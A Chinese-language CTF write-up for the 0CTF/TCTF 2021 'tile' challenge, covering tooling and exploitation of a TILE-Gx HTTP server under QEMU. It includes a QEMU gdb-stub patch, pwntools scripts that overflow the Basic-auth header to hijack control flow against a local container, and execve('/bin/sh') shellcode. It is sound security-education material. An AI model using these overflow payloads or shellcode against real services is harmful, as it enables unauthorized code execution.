# tile
> Tile-gx指令集的linux用户态程序，除了qemu-user可以运行这个程序以外，没有任何的辅助工具，并且该架构的`qemu-user`即`qemu-tilegx`没有实现`-g`的调试功能。所以其他工具（逆向、调试、编译shellcode）全部要自己找到或者搞定，做题时找到并且编译了这个架构的gdb客户端和交叉编译工具，以及对qemu源码魔改了一个此架构下能读写寄存器的gdb桩。运行发现，此程序的功能是以标准输入输出为接口的httpsevrer。有了查看寄存器的能力后，即对此程序瞎发包进行测试，最终在basic认证处发现了不确定是不是栈溢出的控制流劫持。因为是qemu-user，没有NX，还给了和远程环境一样的docker，故ret2shellcode即可。比赛时这题只有`More Smoked Leet Chicken`和我们`Redbud`做出来了，老外的解法更正统和出色。
- 题目: [https://ctftime.org/task/16420](https://ctftime.org/task/16420)- 附件: [tile.gz](https://xuanxuanblingbling.github.io/assets/attachment/tile/tile.gz)- WP: [tile by More Smoked Leet Chicken](https://ctftime.org/writeup/29125)
## 工具
因为给的docker环境是ubuntu20.04，所以最后的各种环境也都是在自己的20.04的虚拟机完成的。
### 模拟运行：qemu
题目没有很过分，至少给你运行起来了，分析dockerfile以及xinetd的配置文件：
```dockerfileFROM ubuntu:20.04
ARG DEBIAN_FRONTEND=noninteractiveENV TZ=Asia/Shanghai
RUN sed -i "s/http:\/\/archive.ubuntu.com/http:\/\/ftp.sjtu.edu.cn/g" /etc/apt/sources.list && \    apt-get update && apt-get -y dist-upgrade && \    apt-get install -y xinetd qemu-user```
> ctf.xinetd
```service ctf{    disable = no    socket_type = stream    protocol    = tcp    wait        = no    user        = ctf    type        = UNLISTED    port        = 9999    bind        = 0.0.0.0    server      = /usr/bin/qemu-tilegx    # replace helloworld to your program    server_args = -L /home/ctf/ /home/ctf/httpd /home/ctf/html    banner_fail = /etc/banner_fail    # safety options    per_source	= 10 # the maximum instances of this service per source IP address    rlimit_cpu	= 20 # the maximum number of CPU seconds that the service may use    #rlimit_as  = 1024M # the Address Space resource limit for the service    #access_times = 2:00-9:00 12:00-24:00}```
发现就是用的ubuntu20.04下的apt安装的qemu：
> [https://blueprints.launchpad.net/ubuntu/+source/qemu/1:4.2-3ubuntu6.17](https://blueprints.launchpad.net/ubuntu/+source/qemu/1:4.2-3ubuntu6.17)
于是在本地的虚拟机中也尝试安装：
```c➜  uname -aLinux ubuntu 5.8.0-59-generic #66~20.04.1-Ubuntu SMP Thu Jun 17 11:14:10 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux➜  qemu-tilegx --versionqemu-tilegx version 4.2.1 (Debian 1:4.2-3ubuntu6.16)Copyright (c) 2003-2019 Fabrice Bellard and the QEMU Project developers```
后来因为发现这里的qemu-user的`-g`调试不好使，于是便怀疑是不是版本低，尝试在ubuntu21.04中安装qemu，结果发现这个指令集在新版本中不支持了：[https://wiki.qemu.org/ChangeLog/6.0#TileGX](https://wiki.qemu.org/ChangeLog/6.0#TileGX)。
### 逆向工具：ida
可以运行了，于是我们接下来静态的分析程序逻辑，不过发现IDA和ghidra均不支持此架构，网上搜索到IDA的插件：
- [https://blog.talosintelligence.com/2019/10/new-ida-pro-plugin-provides-tilegx.html](https://blog.talosintelligence.com/2019/10/new-ida-pro-plugin-provides-tilegx.html)- [https://github.com/Cisco-Talos/ida_tilegx](https://github.com/Cisco-Talos/ida_tilegx)
其中readme写到：
```cThe build process has been tested with IDA Pro 7.3 on Linux (Ubuntu 18.04). 
to build and install the plugin. Currently only the Linux makefile is working, building on Windows or MacOS is not supported.```
需要linux平台的IDA7.3，没有，放弃。所以逆向的希望也只能靠找到交叉编译工具链然后objdump来看了，赛后发现做出本题的老外也是没有linux的IDA，然后人家是用objdump然后手动逆向的：
- [https://github.com/mephi42/ctf/blob/master/2021.07.03_0CTF_TCTF_2021_Quals/tile/httpd.dcmp](https://github.com/mephi42/ctf/blob/master/2021.07.03_0CTF_TCTF_2021_Quals/tile/httpd.dcmp)
虽然用不了这个插件，但是这个插件的代码也是不错的学习资料，在后文我们会再次见到他。
### 编译工具链：gcc
所以继续来找交叉编译工具链，本地编译许久未果，尝试buildroot发现其中也并不包含此架构，查找到一些这个架构的文章：
- [Tilera平台使用体会](https://webcache.googleusercontent.com/search?q=cache:twibk8dzvO4J:https://www.cnblogs.com/xyjdreamer/p/6095555.html+&cd=77&hl=zh-CN&ct=clnk&gl=jp)- [TILE-Gx72 Processor](https://www.mellanox.com/related-docs/prod_multi_core/PB_TILE-Gx72.pdf)- [从ChimayRed漏洞看不同架构下的栈溢出利用实践](https://mp.weixin.qq.com/s/q1zHgQ864u4t9QlzSIzoZw)
网上到了编译好的二进制：
- [http://kernel.c3sl.ufpr.br/pub/tools/crosstool/](http://kernel.c3sl.ufpr.br/pub/tools/crosstool/)- [http://kernel.c3sl.ufpr.br/pub/tools/crosstool/files/bin/x86_64/7.3.0/x86_64-gcc-7.3.0-nolibc_tilegx-linux.tar.gz](http://kernel.c3sl.ufpr.br/pub/tools/crosstool/files/bin/x86_64/7.3.0/x86_64-gcc-7.3.0-nolibc_tilegx-linux.tar.gz)
另外还发现了：
- [https://github.com/tnishinaga/aur_tilegx_toolchain/blob/master/tilegx-linux-gnu-gcc/PKGBUILD](https://github.com/tnishinaga/aur_tilegx_toolchain/blob/master/tilegx-linux-gnu-gcc/PKGBUILD)- [http://ftp.us2.freshrpms.net/linux/RPM/mageia/6/x86_64/media/core/release/gcc-tile-linux-gnu-6.0.0-0.2.mga6.x86_64.html](http://ftp.us2.freshrpms.net/linux/RPM/mageia/6/x86_64/media/core/release/gcc-tile-linux-gnu-6.0.0-0.2.mga6.x86_64.html)
一个是archlinux，一个是centos，这俩系统上应该直接就有编译好的tilegx的交叉编译工具，所以腾讯云换个centos的镜像，然后直接yum安装即可：
```python[root@VM-8-11-centos ~]$ cat /etc/redhat-releaseCentOS Linux release 7.9.2009 (Core)
[root@VM-8-11-centos ~]$ yum updateCentOS Linux release 7.9.2009 (Core)
[root@VM-8-11-centos ~]$ yum search tile gccLoaded plugins: fastestmirror, langpacksLoading mirror speeds from cached hostfile================================================================================================================================== N/S matched: tile, gcc ==================================================================================================================================gcc-c++-tile-linux-gnu.x86_64 : Cross-build binary utilities for tile-linux-gnugcc-tile-linux-gnu.x86_64 : Cross-build binary utilities for tile-linux-gnu
[root@VM-8-11-centos ~]$ yum install gcc-tile-linux-gnu.x86_64
[root@VM-8-11-centos ~]$ tile-linux-gnu-tile-linux-gnu-addr2line  tile-linux-gnu-cpp        tile-linux-gnu-gprof      tile-linux-gnu-objcopy    tile-linux-gnu-sizetile-linux-gnu-ar         tile-linux-gnu-elfedit    tile-linux-gnu-ld         tile-linux-gnu-objdump    tile-linux-gnu-stringstile-linux-gnu-as         tile-linux-gnu-gcc        tile-linux-gnu-ld.bfd     tile-linux-gnu-ranlib     tile-linux-gnu-striptile-linux-gnu-c++filt    tile-linux-gnu-gcov       tile-linux-gnu-nm         tile-linux-gnu-readelf    ```
不过无论是网上下载的包，还是centos上yum安装的，都是没有libc支持的gcc，可能自己编译的支持？不知道这题是咋出出来的。不过这影响并不大，因为写shellcode也不需要libc。
### 调试客户端：gdb
在各种ubuntu版本下安装了gdb-multiarch，发现都没有这个架构，不过发现gdb还是支持这个架构的，所以得自己编译了，编译的方式参考：[IoT安全研究视角的交叉编译](https://xuanxuanblingbling.github.io/ctf/tools/2021/02/16/cross/)
首先需要安装个编译过程需要的依赖`texinfo`：
```➜  sudo apt-get install texinfo```
然后这里我采用了gdb10进行编译，`--target=tilegx-linux`这个选项是看bfd文件夹下看的，具体之前的文章里也有写：
```python➜  wget http://ftp.gnu.org/gnu/gdb/gdb-10.2.tar.gz➜  tar -xvzf ./gdb-10.2.tar.gz➜  cd gdb-10.2/➜  mkdir build➜  cd build➜  ../configure --target=tilegx-linux --prefix=/home/xuanxuan/Desktop/tilegdb➜  make -j 4 && make install```
编译完之后，就可以在`--prefix`制定目录下的bin目录看到编译好的gdb二进制程序：
```python➜  pwd/home/xuanxuan/Desktop/tilegdb/bin➜  lstilegx-linux-gdb  tilegx-linux-gdb-add-index➜  ./tilegx-linux-gdb -q(gdb) set architecture auto      tilegx    tilegx32  (gdb) set architecture tilegxThe target architecture is set to "tilegx".(gdb) set endian little The target is set to little endian.(gdb) ```
### 调试服务端：qemu
gdb也编好了，但是调试一直不成功，甚至还对gdb远程的协议进行了抓包分析，后来经队友提醒发现，这个架构的qemu没有实现gdb桩：
- [https://github.com/qemu/qemu/tree/v5.2.0/target/tilegx](https://github.com/qemu/qemu/tree/v5.2.0/target/tilegx)- [https://github.com/qemu/qemu/tree/v5.2.0/target/mips](https://github.com/qemu/qemu/tree/v5.2.0/target/mips)- [https://github.com/qemu/qemu/tree/v5.2.0/target/rx](https://github.com/qemu/qemu/tree/v5.2.0/target/rx)
和抓包分析的结果一致，qemu就没有返回任何寄存器的数据，所以通过抄写其他架构的gdbstub.c以及学习本架构的代码，这里用的是5.2.0的qemu：
```➜  wget https://download.qemu.org/qemu-5.2.0.tar.xz```
```cstatic const char * const reg_names[TILEGX_R_COUNT] = {     "r0",  "r1",  "r2",  "r3",  "r4",  "r5",  "r6",  "r7",     "r8",  "r9", "r10", "r11", "r12", "r13", "r14", "r15",     "r16", "r17", "r18", "r19", "r20", "r21", "r22", "r23",     "r24", "r25", "r26", "r27", "r28", "r29", "r30", "r31",     "r32", "r33", "r34", "r35", "r36", "r37", "r38", "r39",     "r40", "r41", "r42", "r43", "r44", "r45", "r46", "r47",     "r48", "r49", "r50", "r51",  "bp",  "tp",  "sp",  "lr"};
#define TILEGX_R_COUNT 56  /* Only 56 registers are really useful */
enum {    TILEGX_SPR_CMPEXCH = 0,    TILEGX_SPR_CRITICAL_SEC = 1,    TILEGX_SPR_SIM_CONTROL = 2,    TILEGX_SPR_EX_CONTEXT_0_0 = 3,    TILEGX_SPR_EX_CONTEXT_0_1 = 4,    TILEGX_SPR_COUNT};
typedef struct CPUTLGState {    uint64_t regs[TILEGX_R_COUNT];     /* Common used registers by outside */    uint64_t spregs[TILEGX_SPR_COUNT]; /* Special used registers by outside */    uint64_t pc;                       /* Current pc */
static const char * const reg_names[64] = {     "r0",  "r1",  "r2",  "r3",  "r4",  "r5",  "r6",  "r7",     "r8",  "r9", "r10", "r11", "r12", "r13", "r14", "r15",    "r16", "r17", "r18", "r19", "r20", "r21", "r22", "r23",    "r24", "r25", "r26", "r27", "r28", "r29", "r30", "r31",    "r32", "r33", "r34", "r35", "r36", "r37", "r38", "r39",    "r40", "r41", "r42", "r43", "r44", "r45", "r46", "r47",    "r48", "r49", "r50", "r51",  "bp",  "tp",  "sp",  "lr",    "sn", "idn0", "idn1", "udn0", "udn1", "udn2", "udn2", "zero"};```
通过以上的代码，大概能猜出来：
- 0-55: 常用寄存器- 56-63: 不常用寄存器- 64: pc
然后在不断修改代码调试的过程中发现，gdb还需要65号寄存器:
```(gdb) i rr0             0x0                 0r1             0x0                 0r2             0x0                 0r3             0x0                 0r4             0x0                 0r5             0x0                 0r6             0x0                 0r7             0x0                 0r8             0x0                 0r9             0x0                 0r10            0x0                 0r11            0x0                 0r12            0x0                 0r13            0x0                 0r14            0x0                 0r15            0x0                 0r16            0x0                 0r17            0x0                 0r18            0x0                 0r19            0x0                 0r20            0x0                 0r21            0x0                 0r22            0x0                 0r23            0x0                 0r24            0x0                 0r25            0x0                 0r26            0x0                 0r27            0x0                 0r28            0x0                 0r29            0x0                 0r30            0x0                 0r31            0x0                 0r32            0x0                 0r33            0x0                 0r34            0x0                 0r35            0x0                 0r36            0x0                 0r37            0x0                 0r38            0x0                 0r39            0x0                 0r40            0x0                 0r41            0x0                 0r42            0x0                 0r43            0x0                 0r44            0x0                 0r45            0x0                 0r46            0x0                 0r47            0x0                 0r48            0x0                 0r49            0x0                 0r50            0x0                 0r51            0x0                 0r52            0x0                 0tp             0x0                 0sp             0x400080f540        274886358336lr             0x0                 0sn             0x0                 0idn0           0x0                 0idn1           0x0                 0udn0           0x0                 0udn1           0x0                 0udn2           0x0                 0udn3           0x0                 0zero           0x0                 0pc             0x4000839440        0x4000839440faultnum       <unavailable>```
最终修改如下：
```patchdiff -uprN ./qemu-5.2.0/linux-user/tilegx/cpu_loop.c ./qemu-5.2.0_patch/linux-user/tilegx/cpu_loop.c--- ./qemu-5.2.0/linux-user/tilegx/cpu_loop.c	2020-12-09 00:59:44.000000000 +0800+++ ./qemu-5.2.0_patch/linux-user/tilegx/cpu_loop.c	2021-07-05 13:26:52.000000000 +0800@@ -266,6 +266,10 @@ void cpu_loop(CPUTLGState *env)         case EXCP_ATOMIC:             cpu_exec_step_atomic(cs);             break;+        case EXCP_INTERRUPT:+            printf("[+] interrupt\n");+            /* just indicate that signals should be handled asap */+            break;         default:             fprintf(stderr, "trapnr is %d[0x%x].\n", trapnr, trapnr);             g_assert_not_reached();diff -uprN ./qemu-5.2.0/target/tilegx/cpu.c ./qemu-5.2.0_patch/target/tilegx/cpu.c--- ./qemu-5.2.0/target/tilegx/cpu.c	2021-07-05 13:24:56.000000000 +0800+++ ./qemu-5.2.0_patch/target/tilegx/cpu.c	2021-07-05 13:28:48.000000000 +0800@@ -136,6 +136,7 @@ static bool tilegx_cpu_exec_interrupt(CP  static void tilegx_cpu_class_init(ObjectClass *oc, void *data) {+    printf("[+]hello xuanxuan\n");     DeviceClass *dc = DEVICE_CLASS(oc);     CPUClass *cc = CPU_CLASS(oc);     TileGXCPUClass *tcc = TILEGX_CPU_CLASS(oc);@@ -152,7 +153,9 @@ static void tilegx_cpu_class_init(Object     cc->dump_state = tilegx_cpu_dump_state;     cc->set_pc = tilegx_cpu_set_pc;     cc->tlb_fill = tilegx_cpu_tlb_fill;-    cc->gdb_num_core_regs = 0;+    cc->gdb_read_register = tilegx_cpu_gdb_read_register;+    cc->gdb_write_register = tilegx_cpu_gdb_write_register;+    cc->gdb_num_core_regs = 66;     cc->tcg_initialize = tilegx_tcg_init; } diff -uprN ./qemu-5.2.0/target/tilegx/cpu.h ./qemu-5.2.0_patch/target/tilegx/cpu.h--- ./qemu-5.2.0/target/tilegx/cpu.h	2020-12-09 00:59:44.000000000 +0800+++ ./qemu-5.2.0_patch/target/tilegx/cpu.h	2021-07-05 13:23:24.000000000 +0800@@ -144,6 +144,8 @@ typedef TileGXCPU ArchCPU;  void tilegx_tcg_init(void); int cpu_tilegx_signal_handler(int host_signum, void *pinfo, void *puc);+int tilegx_cpu_gdb_read_register(CPUState *cpu, GByteArray *buf, int reg);+int tilegx_cpu_gdb_write_register(CPUState *cpu, GByteArray *buf, int reg);  #define CPU_RESOLVING_TYPE TYPE_TILEGX_CPU diff -uprN ./qemu-5.2.0/target/tilegx/gdbstub.c ./qemu-5.2.0_patch/target/tilegx/gdbstub.c--- ./qemu-5.2.0/target/tilegx/gdbstub.c	1970-01-01 08:00:00.000000000 +0800+++ ./qemu-5.2.0_patch/target/tilegx/gdbstub.c	2021-07-04 03:40:31.000000000 +0800@@ -0,0 +1,44 @@+#include "qemu/osdep.h"+#include "cpu.h"+#include "exec/gdbstub.h"++int tilegx_cpu_gdb_read_register(CPUState *cs, GByteArray *mem_buf, int n)+{+    TileGXCPU *cpu = TILEGX_CPU(cs);+    CPUTLGState *env = &cpu->env;++    switch (n) {+    case 0 ... 55:+        return gdb_get_regl(mem_buf, env->regs[n]);+    case 56 ... 63:+        return gdb_get_regl(mem_buf, 0);+    case 64:+        return gdb_get_regl(mem_buf, env->pc);+    case 65:+        return gdb_get_regl(mem_buf, 0);+    }+    return 0;+}++int tilegx_cpu_gdb_write_register(CPUState *cs, GByteArray *mem_buf, int n)+{+    TileGXCPU *cpu = TILEGX_CPU(cs);+    CPUTLGState *env = &cpu->env;+    uint64_t tmp;++    tmp = ldq_p(mem_buf);++    switch (n) {+    case 0 ... 55:+        env->regs[n] = tmp;+        return 8;+    case 56 ... 63:+        return 8;+    case 64:+        env->pc = tmp;+        return 8;+    case 65:+        return 8;+    }+    return 0;+}\ No newline at end of filediff -uprN ./qemu-5.2.0/target/tilegx/meson.build ./qemu-5.2.0_patch/target/tilegx/meson.build--- ./qemu-5.2.0/target/tilegx/meson.build	2020-12-09 00:59:44.000000000 +0800+++ ./qemu-5.2.0_patch/target/tilegx/meson.build	2021-07-04 02:38:02.000000000 +0800@@ -3,6 +3,7 @@ tilegx_ss.add(files(   'cpu.c',   'helper.c',   'simd_helper.c',+  'gdbstub.c',   'translate.c', )) tilegx_ss.add(zlib)```
按照如下方法打patch：
```c➜  lsdiff.patch        qemu-5.2.0➜  patch -p0 < ./diff.patchpatching file ./qemu-5.2.0/linux-user/tilegx/cpu_loop.cpatching file ./qemu-5.2.0/target/tilegx/cpu.cpatching file ./qemu-5.2.0/target/tilegx/cpu.hpatching file ./qemu-5.2.0/target/tilegx/gdbstub.cpatching file ./qemu-5.2.0/target/tilegx/meson.build```
编译前首先按照官方文档安装依赖：[https://wiki.qemu.org/Hosts/Linux](https://wiki.qemu.org/Hosts/Linux)，然后编译：
```c➜  cd qemu-5.2.0/➜  mkdir build➜  cd build➜  ../configure --target-list=tilegx-linux-user➜  make -j 4```
编译好之后即可在当前目录看到`qemu-tilegx`：
```c➜  ls -al ./qemu-tilegx -rwxr-xr-x 1 501 dialout 15552024 Jul 21 07:32 ./qemu-tilegx```
我们给他改个名以便区分，然后测试一下调试功能：
```c➜  ./qemu-tilegx-xuan -g 1234  -L ./ ./httpd ./html[+]hello xuanxuan```
使用刚才编译的gdb进行连接，成功的看到寄存器的状态：
```c➜  ./tilegx-linux-gdb -q (gdb) target remote :1234Remote debugging using :1234warning: No executable has been specified and target does not supportdetermining executable automatically.  Try using the "file" command.0x0000004000839440 in ?? ()(gdb) i rr0             0x0                 0r1             0x0                 0r2             0x0                 0r3             0x0                 0r4             0x0                 0r5             0x0                 0r6             0x0                 0r7             0x0                 0r8             0x0                 0r9             0x0                 0r10            0x0                 0r11            0x0                 0r12            0x0                 0r13            0x0                 0r14            0x0                 0r15            0x0                 0r16            0x0                 0r17            0x0                 0r18            0x0                 0r19            0x0                 0r20            0x0                 0r21            0x0                 0r22            0x0                 0r23            0x0                 0r24            0x0                 0r25            0x0                 0r26            0x0                 0r27            0x0                 0r28            0x0                 0r29            0x0                 0r30            0x0                 0r31            0x0                 0r32            0x0                 0r33            0x0                 0r34            0x0                 0r35            0x0                 0r36            0x0                 0r37            0x0                 0r38            0x0                 0r39            0x0                 0r40            0x0                 0r41            0x0                 0r42            0x0                 0r43            0x0                 0r44            0x0                 0r45            0x0                 0r46            0x0                 0r47            0x0                 0r48            0x0                 0r49            0x0                 0r50            0x0                 0r51            0x0                 0r52            0x0                 0tp             0x0                 0sp             0x400080f530        274886358320lr             0x0                 0sn             0x0                 0idn0           0x0                 0idn1           0x0                 0udn0           0x0                 0udn1           0x0                 0udn2           0x0                 0udn3           0x0                 0zero           0x0                 0pc             0x4000839440        0x4000839440faultnum       0x0                 0```
不过断点功能没有实现，因为不太会改，后续可以通过直接对目标代码插入非法指令或者内存错误的指令完成断点附近的状态查看。
## 调试
至此我们已经基本搞完了所有工具，可以开始调试了
### docker
虽然可以在本地调试，不过希望和远程环境尽力一直，所以还是应该在docker里完成最后的调试。所以把编译好的支持gdb的qemu扔到docker里去调试，这里我放到了`binary/qemu-tilegx-xuan`，然后按照如下方法修改dockerfile：
```patchdiff -uprN ./docker/Dockerfile ./docker_patch/Dockerfile--- ./docker/Dockerfile	2021-07-03 11:51:23.000000000 +0800+++ ./docker_patch/Dockerfile	2021-07-16 23:54:47.000000000 +0800@@ -24,9 +24,9 @@ RUN chmod u+s /readflag && \  COPY ./binary/ /home/ctf/ RUN chown -R root:ctf /home/ctf && \-    chmod -R 750 /home/ctf+    chmod -R 750 /home/ctf && \+    chmod +X /home/ctf/qemu-tilegx-xuan -RUN chmod 750 /bin/sh  RUN apt-get -y autoremove RUN apt-get clean && \@@ -36,4 +36,5 @@ RUN apt-get clean && \  CMD ["/start.sh"] +EXPOSE 1234 EXPOSE 9999Binary files ./docker/binary/qemu-tilegx-xuan and ./docker_patch/binary/qemu-tilegx-xuan differdiff -uprN ./docker/ctf.xinetd ./docker_patch/ctf.xinetd--- ./docker/ctf.xinetd	2021-07-03 11:50:39.000000000 +0800+++ ./docker_patch/ctf.xinetd	2021-07-04 15:02:41.000000000 +0800@@ -8,9 +8,9 @@ service ctf     type        = UNLISTED     port        = 9999     bind        = 0.0.0.0-    server      = /usr/bin/qemu-tilegx+    server      = /home/ctf/qemu-tilegx-xuan     # replace helloworld to your program-    server_args = -L /home/ctf/ /home/ctf/httpd /home/ctf/html+    server_args = -g 1234 -L /home/ctf/ /home/ctf/httpd /home/ctf/html     banner_fail = /etc/banner_fail     # safety options     per_source	= 10 # the maximum instances of this service per source IP address```
按照如下方法打patch以及运行docker：
```c➜  lsDockerfile      binary          ctf.xinetd      flag       readflag        start.sh➜  patch -p2 < ../docker.patchpatching file Dockerfilepatching file ctf.xinetdpatch unexpectedly ends in middle of lineHunk #1 succeeded at 8 with fuzz 1.➜  cp ../qemu/qemu-5.2.0/build/qemu-tilegx ./binary/qemu-tilegx-xuan➜  docker build -t tilegx:debug  .➜  docker run -p 1234:1234 -p 9999:9999  -d tilegx:debug```
然后使用curl和qemu进行测试，这里我docker是我mac主机（10.11.11.1）起的，gdb是在ubuntu虚拟机里，curl请求应该先卡住：
```python➜  curl http://10.11.11.1:9999```
然后使用gdb挂上，可以看到入口位置了，然后c继续执行：
```python➜  ./tilegx-linux-gdb(gdb) target remote 10.11.11.1:9999Remote debugging using 10.11.11.1:9999Remote connection closed(gdb) target remote 10.11.11.1:1234Remote debugging using 10.11.11.1:1234warning: No executable has been specified and target does not supportdetermining executable automatically.  Try using the "file" command.0x0000004000839440 in ?? ()(gdb) cContinuing.[Inferior 1 (process 1) exited normally](gdb) ```
此时curl应该继续，基本调试环境成功：
```python➜  curl http://10.11.11.1:9999<html><head><title>401 Authorization Required</title></head><body><center><h1>401 Authorization Required</h1></center></body></html>```
另外在分析原来的dockerfile时有发现有一个非常坑的点（其实是在后面exp打不通的时候发现的：
```cRUN chmod 750 /bin/sh```
docker搭起来后，发现的确CTF用户没有权限执行/bin/sh，flag文件也是普通用户无法读取的:
```croot@6360a0d57b09:/# su ctfsu: failed to execute /bin/sh: Permission deniedroot@6360a0d57b09:/# ls -al /flag-r-------- 1 root root 16 Jul  3 11:50 /flag```
所以只能去执行根目录下的/readflag：
```croot@6360a0d57b09:/# /readflag[usage] /readflag fileroot@6360a0d57b09:/# /readflag /flagflag{fake_flag}```
所以我们最终的shellcode是：`execve("/readflag",["/readflag","/flag",0])`
### gdb
因为上面修改的qemu只实现了寄存器的查看，并没有实现单步调试等功能，这写功能应该在这里实现：
- [https://github.com/qemu/qemu/tree/v5.2.0/linux-user/tilegx](https://github.com/qemu/qemu/tree/v5.2.0/linux-user/tilegx)
无奈不会改，所以只能搞一些非法访存的指令在目标处，以下是一段`execve("/bin/sh")`的汇编，怎么写在后文有交代，这里先用他来测试gdb效果，我们在其系统调用`swint1`指令之前加上`ld  r3, zero`：
```c.global _start    .text_start:     lnk r14base:     addi   r0, r14, (shell - base)
     addi   sp, sp, -16     st     sp, r0     addi   sp, sp, 8     st     sp, zero     addi   r1, sp, -8
     movei  r2,  0     moveli r10, 221     ld     r3,  zero     swint1shell:     .ascii "/bin/sh"```
编译并执行：
```c➜  ./gcc-7.3.0-nolibc/tilegx-linux/bin/tilegx-linux-gcc ./test.s -o test -nostdlib➜  ./qemu-tilegx-xuan -g 1234 ./test```
使用gdb调试：
```➜  ./tilegx-linux-gdb -q /home/xuanxuan/.gdbinit:1: Error in sourced command file:/home/xuanxuan/Desktop/pwndbg/gdbinit.py:3: Error in sourced command file:Undefined command: "import".  Try "help".(gdb) target remote :1234Remote debugging using :1234warning: No executable has been specified and target does not supportdetermining executable automatically.  Try using the "file" command.0x0000000000010078 in ?? ()(gdb) x /11i $pc=> 0x10078:     { lnk r14 }   0x10080:     { addi r0, r14, 80 }   0x10088:     { addi sp, sp, -16 }   0x10090:     { st sp, r0 }   0x10098:     { addi sp, sp, 8 }   0x100a0:     { st sp, zero }   0x100a8:     { addi r1, sp, -8 }   0x100b0:     { movei r2, 0 }   0x100b8:     { moveli r10, 221 }   0x100c0:     { ld r3, zero }   0x100c8:     { swint1 }(gdb) cContinuing.
Program received signal SIGSEGV, Segmentation fault.0x00000000000100c0 in ?? ()(gdb) x /1i $pc=> 0x100c0:     { ld r3, zero }(gdb) i rr0             0x100d0             65744r1             0x400080f540        274886358336r2             0x0                 0r3             0x0                 0r4             0x0                 0r5             0x0                 0r6             0x0                 0r7             0x0                 0r8             0x0                 0r9             0x0                 0r10            0xdd                221r11            0x0                 0r12            0x0                 0(gdb) x /5s 0x100d00x100d0:        "/bin/sh"0x100d8:        ""0x100d9:        ""0x100da:        ""0x100db:        ""(gdb) x /4gx 0x400080f5400x400080f540:   0x00000000000100d0      0x00000000000000000x400080f550:   0x0000000000000001      0x000000400080f760```
的确可以查看到执行系统调用前的内存和寄存器状态，所以这种调试能力已经基本满足做题的需求了。
### fuzz
老外是AFL，我是瞎发包发出来的，因为有basic认证，所以就在这里尝试了一些东西，正确的用户名密码可以直接对httpd这个二进制strings出来，最终尝试发送一堆正确的用户名密码成功触发控制流劫持（是不是栈溢出不知道，因为这个程序是有canary的）：
```pythonfrom pwn import *import base64context(log_level='debug')
payload = b'admin:a0p_s3cr37_!@#'*20payload = base64.b64encode(payload)
http =  b"GET / HTTP/1.1\n"http += b"Authorization: Basic "+payload+b'\n\n';io = remote("127.0.0.1",9999)io.send(http)io.interactive()```
```c➜  python3 exp3.py [+] Opening connection to 127.0.0.1 on port 9999: Done[DEBUG] Sent 0x23e bytes:    b'GET / HTTP/1.1\n'    b'Authorization: Basic YWRtaW46YTBwX3MzY3IzN18hQCNhZG1pbjphMHBfczNjcjM3XyFAI2FkbWluOmEwcF9zM2NyMzdfIUAjYWRtaW46YTBwX3MzY3IzN18hQCNhZG1pbjphMHBfczNjcjM3XyFAI2FkbWluOmEwcF9zM2NyMzdfIUAjYWRtaW46YTBwX3MzY3IzN18hQCNhZG1pbjphMHBfczNjcjM3XyFAI2FkbWluOmEwcF9zM2NyMzdfIUAjYWRtaW46YTBwX3MzY3IzN18hQCNhZG1pbjphMHBfczNjcjM3XyFAI2FkbWluOmEwcF9zM2NyMzdfIUAjYWRtaW46YTBwX3MzY3IzN18hQCNhZG1pbjphMHBfczNjcjM3XyFAI2FkbWluOmEwcF9zM2NyMzdfIUAjYWRtaW46YTBwX3MzY3IzN18hQCNhZG1pbjphMHBfczNjcjM3XyFAI2FkbWluOmEwcF9zM2NyMzdfIUAjYWRtaW46YTBwX3MzY3IzN18hQCNhZG1pbjphMHBfczNjcjM3XyFAIw==\n'    b'\n'```
```c➜  ./tilegx-linux-gdb(gdb) target remote 10.11.11.110.11.11.1: No such file or directory.(gdb) target remote 10.11.11.1:1234Remote debugging using 10.11.11.1:1234warning: No executable has been specified and target does not supportdetermining executable automatically.  Try using the "file" command.0x0000004000839440 in ?? ()(gdb) cContinuing.
Program received signal SIGSEGV, Segmentation fault.0x735f7030613a6e68 in ?? ()(gdb) ```
```python➜  python3>>> bytes.fromhex('735f7030613a6e68')b's_p0a:nh'```
可见溢出的返回地址还是base64编码之前的认证数据，完全可控。然后不断调试，最终控制流劫持的方法如下：
```pythonfrom pwn import *import base64context(log_level='debug')
payload = b'admin:a0p_s3cr37_!@#'*8+b'123'+p64(0xdeadbeef)payload = base64.b64encode(payload)
http =  b"GET / HTTP/1.1\n"http += b"Authorization: Basic "+payload+b'\n\n';io = remote("127.0.0.1",9999)io.send(http)io.interactive()```
## 利用
因为是qemu-user所以，各种地址全固定，并且没有NX，所以ret2shellcode一把梭，所以两个问题：
- 怎么将shellcode带进内存里- shellcode的地址在哪
我们发送过去的http报文肯定都在内存里，不过shellcode里可能会存在空字符，所以还是搞进base64编码后的认证数据中比较保险，如果采用这种方法，那么shellcode应该就是在base64解码后的内存中
### ret2shellcode
我们在劫持的地址之后加上一些特征串，然后继续调试：
```pythonfrom pwn import *import base64context(log_level='debug')
payload = b'admin:a0p_s3cr37_!@#'*8+b'123'+p64(0xdeadbeef)+b'xuanxuan'payload = base64.b64encode(payload)
http =  b"GET / HTTP/1.1\n"http += b"Authorization: Basic "+payload+b'\n\n';io = remote("127.0.0.1",9999)io.send(http)io.interactive()```
当发生控制流劫持时，我发现r11寄存器指向的地址处附近就是特征字符串`xuanxuan`的存储地址：
```c(gdb) cContinuing.
Program received signal SIGSEGV, Segmentation fault.0x00000000deadbee8 in ?? ()(gdb) i rr0             0x0                 0r1             0x1                 1r2             0x4000862d00        274886700288r3             0x1                 1r4             0x0                 0r5             0x0                 0r6             0x0                 0r7             0x0                 0r8             0xaaaaaaaaaaaaaae6  12297829382473034470r9             0xa3d3457593168     2882044780163432r10            0x400080f928        274886359336r11            0x1020788           16910216(gdb) x /20s 0x10207880x1020788:      "bnh1YW4=\n"0x1020792:      ""0x1020793:      ""0x1020794:      ""0x1020795:      ""0x1020796:      ""0x1020797:      ""0x1020798:      "q\370\002"0x102079c:      ""0x102079d:      ""0x102079e:      ""0x102079f:      ""0x10207a0:      "admin:a0p_s3cr37_!@#admin:a0p_s3cr37_!@#admin:a0p_s3cr37_!@#admin:a0p_s3cr37_!@#admin:a0p_s3cr37_!@#admin:a0p_s3cr37_!@#admin:a0p_s3cr37_!@#admin:a0p_s3cr37_!@#123",0x1020848:      ""0x1020849:      ""0x102084a:      ""0x102084b:      "xuanxuan"0x1020854:      ""0x1020855:      ""0x1020856:      ""```
经测试`00`也是可以送进去的，所以我们将shellcode拼在后面，注意8字节（64bit）对齐，然后调试找一下shellcode的地址，然后ret2shellcode就完事了，所以接下来可以学习如何写shellcode了。
